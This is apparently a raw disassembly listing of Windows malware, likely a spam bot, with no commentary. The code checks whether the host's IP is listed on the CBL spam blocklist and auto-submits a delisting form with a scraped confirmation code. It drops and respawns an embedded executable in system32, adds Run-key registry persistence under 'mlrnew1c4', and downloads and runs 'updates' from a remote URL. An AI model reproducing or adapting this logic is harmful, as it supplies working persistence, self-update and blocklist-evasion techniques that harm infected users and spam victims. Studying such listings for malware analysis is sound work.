		push	offset aLookup_cgi?ip ;	"lookup.cgi?ip="
		lea	ecx, [ebp-34h]
		call	sub_4013A7
		mov	eax, [ebp+8]
		push	0FFFFFFFFh
		add	eax, 4
		push	edi
		lea	esi, [ebp-34h]
		mov	[ebp-54h], eax
		call	sub_401F95
		push	offset aSubmitLookup ; "&submit=Lookup"
		mov	eax, esi
		push	eax
		call	sub_401C66
		cmp	dword ptr [ebp-1Ch], 10h
		mov	eax, [ebp-30h]
		jnb	short loc_4040A1
		lea	eax, [ebp-30h]


loc_4040A1:				; CODE XREF: sub_403E41+25Bj
		push	edi
		push	4480200h
		lea	ecx, [ebp-0B4h]
		push	ecx
		push	offset aHttpCbl_abusea ; "http://cbl.abuseat.org/lookup.cgi"
		push	edi
		push	eax
		push	offset aGet	; "GET"
		push	dword ptr [ebp-14h]
		call	dword_41C1C8	; HttpOpenRequestA
		mov	esi, eax
		cmp	esi, edi
		mov	[ebp+8], esi
		jnz	short loc_4040ED


loc_4040CC:				; CODE XREF: sub_403E41+443j
		call	dword_41C0A4	; RtlGetLastWin32Error
		push	eax
		push	offset aHttpopenreques ; "HttpOpenRequest: %$\n"
		push	3
		call	sub_4024A7
		push	eax
		call	sub_40196F
		add	esp, 10h
		jmp	loc_4045C7
; ---------------------------------------------------------------------------


loc_4040ED:				; CODE XREF: sub_403E41+289j
		push	offset aAcceptLanguage ; "Accept-Language: en\r\n"
		lea	ecx, [ebp-50h]
		call	sub_4013A7
		push	offset aAcceptEncoding ; "Accept-Encoding: gzip, deflate\r\n"
		lea	eax, [ebp-50h]
		push	eax
		call	sub_401C66
		cmp	dword ptr [ebp-38h], 10h
		mov	eax, [ebp-4Ch]
		jnb	short loc_404114
		lea	eax, [ebp-4Ch]


loc_404114:				; CODE XREF: sub_403E41+2CEj
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	esi
		call	dword_41C1CC	; HttpSendRequestA
		test	eax, eax
		jnz	short loc_404146


loc_404124:				; CODE XREF: sub_403E41+47Ej
		call	dword_41C0A4	; RtlGetLastWin32Error
		push	eax
		push	offset aHttpsendreques ; "HttpSendRequest: %$\n"
		push	3
		call	sub_4024A7
		push	eax
		call	sub_40196F
		add	esp, 10h
		push	esi
		jmp	loc_4045C5
; ---------------------------------------------------------------------------


loc_404146:				; CODE XREF: sub_403E41+2E1j
		push	edi
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-18h]
		push	eax
		push	20000013h
		push	esi
		mov	dword ptr [ebp-10h], 4
		call	dword_41C1D8	; HttpQueryInfoA
		mov	eax, [ebp-18h]
		push	64h
		xor	edx, edx
		pop	ecx
		div	ecx
		cmp	eax, 2
		jnz	short loc_4041B6
		lea	eax, [ebp-70h]
		call	sub_4053F0
		mov	esi, 800h
		jmp	short loc_404197
; ---------------------------------------------------------------------------


loc_404180:				; CODE XREF: sub_403E41+371j
		cmp	[ebp-10h], edi
		jbe	short loc_4041CF
		push	dword ptr [ebp-10h]
		lea	eax, [ebp-8D0h]
		push	eax
		lea	eax, [ebp-70h]
		call	sub_402039


loc_404197:				; CODE XREF: sub_403E41+33Dj
		lea	eax, [ebp-10h]
		push	eax
		push	esi
		lea	eax, [ebp-8D0h]
		push	eax
		push	dword ptr [ebp+8]
		mov	[ebp-10h], esi
		call	dword_41C1C4	; InternetReadFile
		cmp	eax, 1
		jz	short loc_404180
		jmp	short loc_4041CF
; ---------------------------------------------------------------------------


loc_4041B6:				; CODE XREF: sub_403E41+32Ej
		push	dword ptr [ebp-18h]
		push	offset aRblServerRespo ; "RBL server response code: %d\n"
		call	sub_4024A7
		push	eax
		push	3
		pop	ecx
		call	sub_40195C
		add	esp, 0Ch


loc_4041CF:				; CODE XREF: sub_403E41+342j
					; sub_403E41+373j
		push	dword ptr [ebp+8]
		call	ebx	; InternetCloseHandle
		mov	esi, offset aWasNotFound ; "was	not found"
		push	esi
		call	sub_40D970
		pop	ecx
		push	eax
		push	esi
		lea	eax, [ebp-70h]
		push	eax
		xor	eax, eax
		call	sub_401E6B
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40420C
		push	offset aNotListed_ ; "Not listed.\n"
		call	sub_4024A7
		push	eax
		push	4


loc_4041FF:				; CODE XREF: sub_403E41+53Dj
		pop	ecx
		call	sub_40195C
		pop	ecx
		pop	ecx
		jmp	loc_4045C7
; ---------------------------------------------------------------------------


loc_40420C:				; CODE XREF: sub_403E41+3AFj
		push	4
		call	dword_41C090	; Sleep
		push	0FFFFFFFFh
		push	edi
		lea	eax, [ebp-34h]
		push	eax
		lea	ecx, [ebp-8Ch]
		call	sub_401315
		push	offset aRemove_cgi?ip ;	"remove.cgi?ip="
		lea	ecx, [ebp-34h]
		call	sub_4013A7
		mov	eax, [ebp-54h]
		push	0FFFFFFFFh
		push	edi
		lea	esi, [ebp-34h]
		call	sub_401F95
		cmp	dword ptr [ebp-74h], 10h
		mov	ecx, [ebp-88h]
		jnb	short loc_404253
		lea	ecx, [ebp-88h]


loc_404253:				; CODE XREF: sub_403E41+40Aj
		cmp	dword ptr [ebp-1Ch], 10h
		mov	eax, [ebp-30h]
		jnb	short loc_40425F
		lea	eax, [ebp-30h]


loc_40425F:				; CODE XREF: sub_403E41+419j
		push	edi
		push	4480200h
		lea	edx, [ebp-0B4h]
		push	edx
		push	ecx
		push	edi
		push	eax
		push	offset aGet	; "GET"
		push	dword ptr [ebp-14h]
		call	dword_41C1C8	; HttpOpenRequestA
		mov	esi, eax
		cmp	esi, edi
		mov	[ebp+8], esi
		jz	loc_4040CC
		push	offset aAcceptLanguage ; "Accept-Language: en\r\n"
		lea	ecx, [ebp-50h]
		call	sub_4013A7
		push	offset aAcceptEncoding ; "Accept-Encoding: gzip, deflate\r\n"
		lea	eax, [ebp-50h]
		push	eax
		call	sub_401C66
		cmp	dword ptr [ebp-38h], 10h
		mov	eax, [ebp-4Ch]
		jnb	short loc_4042B1
		lea	eax, [ebp-4Ch]


loc_4042B1:				; CODE XREF: sub_403E41+46Bj
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	esi
		call	dword_41C1CC	; HttpSendRequestA
		test	eax, eax
		jz	loc_404124
		push	edi
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-18h]
		push	eax
		push	20000013h
		push	esi
		mov	dword ptr [ebp-10h], 4
		call	dword_41C1D8	; HttpQueryInfoA
		mov	eax, [ebp-18h]
		push	64h
		xor	edx, edx
		pop	ecx
		div	ecx
		cmp	eax, 2
		jnz	short loc_404335
		lea	eax, [ebp-70h]
		call	sub_4053F0
		mov	esi, 800h
		jmp	short loc_404316
; ---------------------------------------------------------------------------


loc_4042FF:				; CODE XREF: sub_403E41+4F0j
		cmp	[ebp-10h], edi
		jbe	short loc_40434E
		push	dword ptr [ebp-10h]
		lea	eax, [ebp-8D0h]
		push	eax
		lea	eax, [ebp-70h]
		call	sub_402039


loc_404316:				; CODE XREF: sub_403E41+4BCj
		lea	eax, [ebp-10h]
		push	eax
		push	esi
		lea	eax, [ebp-8D0h]
		push	eax
		push	dword ptr [ebp+8]
		mov	[ebp-10h], esi
		call	dword_41C1C4	; InternetReadFile
		cmp	eax, 1
		jz	short loc_4042FF
		jmp	short loc_40434E
; ---------------------------------------------------------------------------


loc_404335:				; CODE XREF: sub_403E41+4ADj
		push	dword ptr [ebp-18h]
		push	offset aRblServerRespo ; "RBL server response code: %d\n"
		call	sub_4024A7
		push	eax
		push	3
		pop	ecx
		call	sub_40195C
		add	esp, 0Ch


loc_40434E:				; CODE XREF: sub_403E41+4C1j
					; sub_403E41+4F2j
		push	dword ptr [ebp+8]
		call	ebx	; InternetCloseHandle
		mov	esi, offset aNameConfirmVal ; "name=\"confirm\"	value=\""
		push	esi
		call	sub_40D970
		pop	ecx
		push	eax
		push	esi
		lea	eax, [ebp-70h]
		push	eax
		xor	eax, eax
		call	sub_401E6B
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404383
		push	offset aCannotFindConf ; "Cannot find confirmation code	to remove"...
		call	sub_4024A7
		push	eax
		push	3
		jmp	loc_4041FF
; ---------------------------------------------------------------------------


loc_404383:				; CODE XREF: sub_403E41+52Ej
		xor	esi, esi
		inc	esi
		push	esi
		lea	ecx, [ebp+8]
		push	ecx
		lea	ecx, [ebp-70h]
		add	eax, 16h
		push	ecx
		mov	[ebp-90h], eax
		mov	byte ptr [ebp+8], 22h
		call	sub_401E6B
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-94h], eax
		jnz	short loc_4043CB
		push	offset aCannotFindConf ; "Cannot find confirmation code	to remove"...
		call	sub_4024A7
		push	eax
		push	3
		pop	ecx
		call	sub_40195C
		pop	ecx
		pop	ecx


loc_4043C1:				; CODE XREF: sub_403E41+5FBj
		push	dword ptr [ebp-14h]
		call	ebx	; InternetCloseHandle
		jmp	loc_4045CF
; ---------------------------------------------------------------------------


loc_4043CB:				; CODE XREF: sub_403E41+569j
		push	8
		call	dword_41C090	; Sleep
		push	0FFFFFFFFh
		push	edi
		lea	eax, [ebp-34h]
		push	eax
		lea	ecx, [ebp-8Ch]
		call	sub_401315
		cmp	dword ptr [ebp-74h], 10h
		mov	eax, [ebp-88h]
		jnb	short loc_4043F7
		lea	eax, [ebp-88h]


loc_4043F7:				; CODE XREF: sub_403E41+5AEj
		push	edi
		push	4480200h
		lea	ecx, [ebp-0B4h]
		push	ecx
		push	eax
		push	edi
		push	offset aRemove_cgi ; "remove.cgi"
		push	offset aPost	; "POST"
		push	dword ptr [ebp-14h]
		call	dword_41C1C8	; HttpOpenRequestA
		cmp	eax, edi
		mov	[ebp+8], eax
		jnz	short loc_40443E
		call	dword_41C0A4	; RtlGetLastWin32Error
		push	eax
		push	offset aHttpopenreques ; "HttpOpenRequest: %$\n"
		push	3
		call	sub_4024A7
		push	eax
		call	sub_40196F
		add	esp, 10h
		jmp	short loc_4043C1
; ---------------------------------------------------------------------------


loc_40443E:				; CODE XREF: sub_403E41+5DDj
		push	offset aAcceptLanguage ; "Accept-Language: en\r\n"
		lea	ecx, [ebp-50h]
		call	sub_4013A7
		push	offset aContentTypeApp ; "Content-Type:	application/x-www-form-ur"...
		lea	eax, [ebp-50h]
		push	eax
		call	sub_401C66
		push	offset aAcceptEncoding ; "Accept-Encoding: gzip, deflate\r\n"
		lea	eax, [ebp-50h]
		push	eax
		call	sub_401C66
		push	offset aIp	; "ip="
		lea	ecx, [ebp-34h]
		call	sub_4013A7
		mov	eax, [ebp-54h]
		push	0FFFFFFFFh
		push	edi
		lea	esi, [ebp-34h]
		call	sub_401F95
		push	offset aConfirm	; "&confirm="
		mov	eax, esi
		push	eax
		call	sub_401C66
		mov	eax, [ebp-94h]
		sub	eax, [ebp-90h]
		lea	esi, [ebp-0D0h]
		push	eax
		push	dword ptr [ebp-90h]
		lea	eax, [ebp-70h]
		push	eax
		call	sub_405527
		push	0FFFFFFFFh
		push	edi
		lea	esi, [ebp-34h]
		mov	byte ptr [ebp-4], 4
		call	sub_401F95
		push	edi
		push	1
		lea	ecx, [ebp-0D0h]
		mov	byte ptr [ebp-4], 3
		call	sub_4013C4
		push	offset aOwnerYesVirusP ; "&owner=yes&virus=&proxy=&comments=&canr"...
		mov	eax, esi
		push	eax
		call	sub_401C66
		mov	eax, [ebp-54h]
		push	0FFFFFFFFh
		push	edi
		call	sub_401F95
		cmp	dword ptr [ebp-1Ch], 10h
		mov	ecx, [ebp-30h]
		jnb	short loc_4044F6
		lea	ecx, [ebp-30h]


loc_4044F6:				; CODE XREF: sub_403E41+6B0j
		cmp	dword ptr [ebp-38h], 10h
		mov	eax, [ebp-4Ch]
		jnb	short loc_404502
		lea	eax, [ebp-4Ch]


loc_404502:				; CODE XREF: sub_403E41+6BCj
		push	dword ptr [ebp-20h]
		push	ecx
		push	0FFFFFFFFh
		push	eax
		push	dword ptr [ebp+8]
		call	dword_41C1CC	; HttpSendRequestA
		test	eax, eax
		jnz	short loc_404537
		call	dword_41C0A4	; RtlGetLastWin32Error
		push	eax
		push	offset aHttpsendreques ; "HttpSendRequest: %$\n"
		push	3
		call	sub_4024A7
		push	eax
		call	sub_40196F
		add	esp, 10h
		jmp	loc_4045C2
; ---------------------------------------------------------------------------


loc_404537:				; CODE XREF: sub_403E41+6D3j
		push	edi
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-18h]
		push	eax
		push	20000013h
		push	dword ptr [ebp+8]
		mov	dword ptr [ebp-10h], 4
		call	dword_41C1D8	; HttpQueryInfoA
		mov	eax, [ebp-18h]
		push	64h
		xor	edx, edx
		pop	ecx
		div	ecx
		cmp	eax, 2
		jnz	short loc_4045A9
		lea	eax, [ebp-70h]
		call	sub_4053F0
		mov	esi, 800h
		jmp	short loc_40458A
; ---------------------------------------------------------------------------


loc_404573:				; CODE XREF: sub_403E41+764j
		cmp	[ebp-10h], edi
		jbe	short loc_4045C2
		push	dword ptr [ebp-10h]
		lea	eax, [ebp-8D0h]
		push	eax
		lea	eax, [ebp-70h]
		call	sub_402039


loc_40458A:				; CODE XREF: sub_403E41+730j
		lea	eax, [ebp-10h]
		push	eax
		push	esi
		lea	eax, [ebp-8D0h]
		push	eax
		push	dword ptr [ebp+8]
		mov	[ebp-10h], esi
		call	dword_41C1C4	; InternetReadFile
		cmp	eax, 1
		jz	short loc_404573
		jmp	short loc_4045C2
; ---------------------------------------------------------------------------


loc_4045A9:				; CODE XREF: sub_403E41+721j
		push	dword ptr [ebp-18h]
		push	offset aRblServerRespo ; "RBL server response code: %d\n"
		call	sub_4024A7
		push	eax
		push	3
		pop	ecx
		call	sub_40195C
		add	esp, 0Ch


loc_4045C2:				; CODE XREF: sub_403E41+6F1j
					; sub_403E41+735j ...
		push	dword ptr [ebp+8]


loc_4045C5:				; CODE XREF: sub_403E41+300j
		call	ebx	; InternetCloseHandle


loc_4045C7:				; CODE XREF: sub_403E41+2A7j
					; sub_403E41+3C6j
		push	dword ptr [ebp-14h]
		call	ebx	; InternetCloseHandle


loc_4045CC:				; CODE XREF: sub_403E41+D5j
					; sub_403E41+123j ...
		xor	esi, esi
		inc	esi


loc_4045CF:				; CODE XREF: sub_403E41+585j
		push	edi
		push	esi
		lea	ecx, [ebp-8Ch]
		call	sub_4013C4
		push	edi
		push	esi
		lea	ecx, [ebp-50h]
		call	sub_4013C4
		push	edi
		push	esi
		lea	ecx, [ebp-70h]
		call	sub_4013C4
		push	edi
		push	esi
		lea	ecx, [ebp-34h]
		call	sub_4013C4
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_403E41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40460B	proc near		; CODE XREF: sub_4047AC+11Dp
					; sub_4048E7+98p ...

var_468		= byte ptr -468h
var_68		= byte ptr -68h
var_58		= dword	ptr -58h
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 468h
		cmp	dword ptr [ebx+18h], 10h
		push	esi
		lea	eax, [ebx+4]
		push	edi
		mov	[ebp+var_4], eax
		jb	short loc_404624
		mov	eax, [eax]


loc_404624:				; CODE XREF: sub_40460B+15j
		push	eax
		push	offset aRespawningAsS_ ; "Respawning as	%s ...\n"
		call	sub_4024A7
		push	eax
		push	4
		pop	ecx
		call	sub_40195C
		add	esp, 0Ch
		push	400h
		lea	eax, [ebp+var_468]
		push	eax
		call	dword_41C08C	; GetWindowsDirectoryA
		lea	eax, [ebp+var_468]
		push	offset aSystem32Helper ; "\\system32\\helpermnew1winc4.exe"
		push	eax
		call	sub_40FE50
		pop	ecx
		pop	ecx
		push	offset aRt_helper ; "RT_HELPER"
		push	65h
		xor	edi, edi
		push	edi
		call	dword_41C07C	; FindResourceA
		cmp	eax, edi
		mov	[ebp+var_8], eax
		jnz	short loc_404697
		call	dword_41C0A4	; RtlGetLastWin32Error
		push	eax
		push	offset aFindresource ; "FindResource: %$\n"
		push	1
		call	sub_4024A7
		push	eax
		call	sub_40196F


loc_404690:				; CODE XREF: sub_40460B+E6j
		add	esp, 10h


loc_404693:				; CODE XREF: sub_40460B+194j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_404697:				; CODE XREF: sub_40460B+6Aj
		mov	esi, dword_41C0B0
		push	80h
		lea	eax, [ebp+var_468]
		push	eax
		call	esi	; SetFileAttributesA
		lea	eax, [ebp+var_468]
		push	offset aWb	; "wb"
		push	eax
		call	sub_40FA66
		cmp	eax, edi
		pop	ecx
		pop	ecx
		mov	[ebp+var_C], eax
		jnz	short loc_4046F3
		call	sub_40F79E
		mov	esi, eax
		call	sub_40F79E
		push	dword ptr [esi]
		mov	edi, eax
		call	sub_40F6FC
		pop	ecx
		push	eax
		push	dword ptr [edi]
		push	offset aFopenDS	; "fopen: (%d) %s\n"
		call	sub_4024A7
		push	eax
		push	2
		pop	ecx
		call	sub_40195C
		jmp	short loc_404690
; ---------------------------------------------------------------------------


loc_4046F3:				; CODE XREF: sub_40460B+B8j
		push	eax
		push	[ebp+var_8]
		push	edi
		call	dword_41C094	; SizeofResource
		push	eax
		push	1
		push	[ebp+var_8]
		push	edi
		call	dword_41C080	; LoadResource
		push	eax
		call	dword_41C0B8	; SetHandleCount
		push	eax
		call	sub_40FC7C
		push	[ebp+var_C]
		call	sub_40FD7C
		add	esp, 14h
		push	6
		lea	eax, [ebp+var_468]
		push	eax
		call	esi	; SetFileAttributesA
		push	44h
		pop	esi
		push	esi
		lea	eax, [ebp+var_58]
		push	edi
		push	eax
		call	sub_40DD10
		add	esp, 0Ch
		lea	eax, [ebp+var_58]
		push	eax
		mov	[ebp+var_58], esi
		call	dword_41C0A0	; GetStartupInfoA
		cmp	dword ptr [ebx+18h], 10h
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], di
		jb	short loc_404762
		mov	eax, [eax]


loc_404762:				; CODE XREF: sub_40460B+153j
		lea	ecx, [ebp+var_68]
		push	ecx
		lea	ecx, [ebp+var_58]
		push	ecx
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_468]
		push	eax
		call	dword_41C09C	; CreateProcessA
		test	eax, eax
		jnz	short loc_4047A4
		call	dword_41C0A4	; RtlGetLastWin32Error
		push	eax
		push	offset aCreateprocess ;	"CreateProcess:	%$\n"
		call	sub_4024A7
		push	eax
		push	2
		pop	ecx
		call	sub_40195C
		add	esp, 0Ch
		jmp	loc_404693
; ---------------------------------------------------------------------------


loc_4047A4:				; CODE XREF: sub_40460B+175j
		push	edi
		call	dword_41C100	; ExitProcess
		int	3		; Trap to Debugger
sub_40460B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4047AC	proc near		; CODE XREF: sub_405089:loc_4050D7p
		mov	eax, offset sub_41B60D
		call	sub_41AE44
		sub	esp, 828h
		push	ebx
		push	esi
		push	edi
		mov	esi, 400h
		push	esi
		lea	eax, [ebp-834h]
		push	eax
		call	dword_41C08C	; GetWindowsDirectoryA
		lea	eax, [ebp-834h]
		push	offset aSystem32Mnew1w ; "\\system32\\mnew1winc4.exe"
		push	eax
		call	sub_40FE50
		pop	ecx
		pop	ecx
		push	esi
		lea	eax, [ebp-434h]
		push	eax
		xor	esi, esi
		push	esi
		call	dword_41C0C0	; GetModuleFileNameA
		mov	edi, dword_41C00C
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		push	esi
		push	20006h
		push	esi
		push	esi
		push	esi
		mov	ebx, offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		push	ebx
		push	80000002h
		call	edi	; RegCreateKeyExA
		test	eax, eax
		jnz	short loc_40484E
		lea	eax, [ebp-434h]
		push	eax
		call	sub_40D970
		pop	ecx
		inc	eax
		push	eax
		lea	eax, [ebp-434h]
		push	eax
		push	1
		push	esi
		push	offset aMlrnew1c4 ; "mlrnew1c4"
		push	dword ptr [ebp-14h]
		call	dword_41C014	; RegSetValueExA
		push	dword ptr [ebp-14h]
		call	dword_41C000	; RegCloseKey


loc_40484E:				; CODE XREF: sub_4047AC+70j
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		push	esi
		push	20006h
		push	esi
		push	esi
		push	esi
		push	ebx
		push	80000001h
		call	edi	; RegCreateKeyExA
		test	eax, eax
		jnz	short loc_40489B
		lea	eax, [ebp-434h]
		push	eax
		call	sub_40D970
		pop	ecx
		inc	eax
		push	eax
		lea	eax, [ebp-434h]
		push	eax
		push	1
		push	esi
		push	offset aMlrnew1c4 ; "mlrnew1c4"
		push	dword ptr [ebp-14h]
		call	dword_41C014	; RegSetValueExA
		push	dword ptr [ebp-14h]
		call	dword_41C000	; RegCloseKey


loc_40489B:				; CODE XREF: sub_4047AC+BDj
		lea	eax, [ebp-834h]
		push	eax
		lea	eax, [ebp-434h]
		push	eax
		call	sub_41A376
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_4048D8
		lea	eax, [ebp-434h]
		push	eax
		lea	ecx, [ebp-34h]
		call	sub_401C44
		lea	ebx, [ebp-34h]
		mov	[ebp-4], esi
		call	sub_40460B
		push	esi
		push	1
		mov	ecx, ebx
		call	sub_4013C4


loc_4048D8:				; CODE XREF: sub_4047AC+106j
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn
sub_4047AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4048E7	proc near		; CODE XREF: sub_40376E+35p
		mov	eax, offset SEH_4033DA
		call	sub_41AE44
		sub	esp, 24h
		push	ebx
		push	esi
		mov	esi, dword_41C00C
		push	edi
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		xor	eax, eax
		push	eax
		mov	edi, 20006h
		push	edi
		push	eax
		push	eax
		push	eax
		mov	ebx, offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		push	ebx
		push	80000001h
		call	esi	; RegCreateKeyExA
		test	eax, eax
		jnz	short loc_404939
		push	offset aMlrnew1c4 ; "mlrnew1c4"
		push	dword ptr [ebp-10h]
		call	dword_41C004	; RegDeleteValueA
		push	dword ptr [ebp-10h]
		call	dword_41C000	; RegCloseKey


loc_404939:				; CODE XREF: sub_4048E7+39j
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		xor	eax, eax
		push	eax
		push	edi
		push	eax
		push	eax
		push	eax
		push	ebx
		push	80000002h
		call	esi	; RegCreateKeyExA
		test	eax, eax
		jnz	short loc_40496B
		push	offset aMlrnew1c4 ; "mlrnew1c4"
		push	dword ptr [ebp-10h]
		call	dword_41C004	; RegDeleteValueA
		push	dword ptr [ebp-10h]
		call	dword_41C000	; RegCloseKey


loc_40496B:				; CODE XREF: sub_4048E7+6Bj
		push	offset asc_41E668 ; "-X"
		lea	ecx, [ebp-30h]
		call	sub_401C44
		and	dword ptr [ebp-4], 0
		lea	ebx, [ebp-30h]
		call	sub_40460B
		push	0
		push	1
		mov	ecx, ebx
		call	sub_4013C4
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_4048E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40499E	proc near		; CODE XREF: sub_40376E+67p
		mov	eax, offset sub_41B60D
		call	sub_41AE44
		sub	esp, 828h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		cmp	dword ptr [edi+18h], 10h
		lea	ebx, [edi+4]
		jb	short loc_4049C0
		mov	eax, [ebx]
		jmp	short loc_4049C2
; ---------------------------------------------------------------------------


loc_4049C0:				; CODE XREF: sub_40499E+1Cj
		mov	eax, ebx


loc_4049C2:				; CODE XREF: sub_40499E+20j
		push	eax
		push	offset aPerformingUpda ; "Performing update from URL: %s\n"
		call	sub_4024A7
		push	eax
		push	4
		pop	ecx
		call	sub_40195C
		add	esp, 0Ch
		mov	esi, 400h
		push	esi
		lea	eax, [ebp-434h]
		push	eax
		call	dword_41C08C	; GetWindowsDirectoryA
		lea	eax, [ebp-434h]
		push	offset aSystem32Update ; "\\system32\\updatemnew1winc4.exe"
		push	eax
		call	sub_40FE50
		lea	eax, [ebp-434h]
		push	offset aWb	; "wb"
		push	eax
		call	sub_40FA66
		xor	ecx, ecx
		add	esp, 10h
		cmp	eax, ecx
		mov	[ebp-14h], eax
		jnz	short loc_404A4E
		call	sub_40F79E
		mov	esi, eax
		call	sub_40F79E
		push	dword ptr [esi]
		mov	edi, eax
		call	sub_40F6FC
		pop	ecx
		push	eax
		push	dword ptr [edi]
		push	offset aFopenDS	; "fopen: (%d) %s\n"
		call	sub_4024A7
		push	eax
		push	2
		pop	ecx
		call	sub_40195C
		add	esp, 10h
		jmp	loc_404B1C
; ---------------------------------------------------------------------------


loc_404A4E:				; CODE XREF: sub_40499E+7Aj
		cmp	dword ptr [edi+18h], 10h
		jb	short loc_404A56
		mov	ebx, [ebx]


loc_404A56:				; CODE XREF: sub_40499E+B4j
		push	ecx
		push	84080300h
		push	ecx
		push	ecx
		push	ebx
		push	dword_424E80
		call	dword_41C1BC	; InternetOpenUrlA
		test	eax, eax
		mov	[ebp-18h], eax
		jnz	short loc_404A94
		call	dword_41C0A4	; RtlGetLastWin32Error
		push	eax
		push	offset aInternetopenur ; "InternetOpenUrl: %$\n"
		call	sub_4024A7
		push	eax
		push	3
		pop	ecx
		call	sub_40195C
		add	esp, 0Ch
		jmp	loc_404B1C
; ---------------------------------------------------------------------------


loc_404A94:				; CODE XREF: sub_40499E+D2j
		mov	ebx, dword_41C1C4
		lea	ecx, [ebp-10h]
		push	ecx
		push	esi
		lea	ecx, [ebp-834h]
		push	ecx
		push	eax
		mov	[ebp-10h], esi
		call	ebx	; InternetReadFile
		xor	edi, edi
		inc	edi
		jmp	short loc_404AE1
; ---------------------------------------------------------------------------


loc_404AB1:				; CODE XREF: sub_40499E+145j
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_404AE5
		push	dword ptr [ebp-14h]
		lea	eax, [ebp-834h]
		push	dword ptr [ebp-10h]
		push	edi
		push	eax
		call	sub_40FC7C
		add	esp, 10h
		lea	eax, [ebp-10h]
		push	eax
		push	esi
		lea	eax, [ebp-834h]
		push	eax
		push	dword ptr [ebp-18h]
		mov	[ebp-10h], esi
		call	ebx	; InternetReadFile


loc_404AE1:				; CODE XREF: sub_40499E+111j
		cmp	eax, edi
		jz	short loc_404AB1


loc_404AE5:				; CODE XREF: sub_40499E+117j
		push	dword ptr [ebp-18h]
		call	dword_41C1D0	; InternetCloseHandle
		push	dword ptr [ebp-14h]
		call	sub_40FD7C
		pop	ecx
		lea	eax, [ebp-434h]
		push	eax
		lea	ecx, [ebp-34h]
		call	sub_401C44
		and	dword ptr [ebp-4], 0
		lea	ebx, [ebp-34h]
		call	sub_40460B
		push	0
		push	edi
		mov	ecx, ebx
		call	sub_4013C4


loc_404B1C:				; CODE XREF: sub_40499E+ABj
					; sub_40499E+F1j
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40499E	endp


; =============== S U B	R O U T	I N E =======================================



sub_404B2B	proc near		; CODE XREF: sub_405089+DDp
		push	ebp
		sub	esp, 20h
		mov	eax, offset sub_41B00F
		call	sub_41AE44
		sub	esp, 310h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	[ebp+4], ebx
		push	ebx
		lea	ecx, [ebp+8]
		mov	dword ptr [ebp+20h], 0Fh
		call	sub_401564
		push	24h
		lea	eax, [ebp-0CCh]
		push	ebx
		push	eax
		mov	[ebp-4], ebx
		call	sub_40DD10
		mov	esi, 9Ch
		push	esi
		lea	eax, [ebp-0A8h]
		push	ebx
		push	eax
		call	sub_40DD10
		add	esp, 18h
		lea	eax, [ebp-0A8h]
		mov	[ebp-0A8h], esi
		mov	esi, dword_41C0D0
		push	eax
		call	esi	; GetVersionExA
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_404BC3
		lea	eax, [ebp-0A8h]
		push	eax
		mov	dword ptr [ebp-0A8h], 94h
		call	esi	; GetVersionExA
		test	eax, eax
		jnz	short loc_404BC3
		mov	ecx, [ebp+2Ch]
		push	offset aUnknown	; "UNKNOWN"
		call	sub_401C44
		jmp	loc_405067
; ---------------------------------------------------------------------------


loc_404BC3:				; CODE XREF: sub_404B2B+6Dj
					; sub_404B2B+84j
		push	offset aGetnativesyste ; "GetNativeSystemInfo"
		push	offset aKernel32_dll ; "kernel32.dll"
		call	dword_41C0C4	; GetModuleHandleA
		push	eax
		call	dword_41C0AC	; GetProcAddress
		cmp	eax, ebx
		jz	short loc_404BE9
		lea	ecx, [ebp-0CCh]
		push	ecx
		call	eax ; sub_41B00F
		jmp	short loc_404BF6
; ---------------------------------------------------------------------------


loc_404BE9:				; CODE XREF: sub_404B2B+B1j
		lea	eax, [ebp-0CCh]
		push	eax
		call	dword_41C0BC	; GetSystemInfo


loc_404BF6:				; CODE XREF: sub_404B2B+BCj
		mov	eax, [ebp-98h]
		sub	eax, ebx
		jz	loc_40504D
		dec	eax
		jz	loc_404FD5
		dec	eax
		jnz	loc_40505B
		cmp	dword ptr [ebp-0A4h], 6
		jnz	short loc_404C3E
		cmp	[ebp-0A0h], ebx
		jnz	loc_404CB7
		cmp	byte ptr [ebp-0Eh], 1
		lea	eax, [ebp+8]
		jnz	short loc_404C37
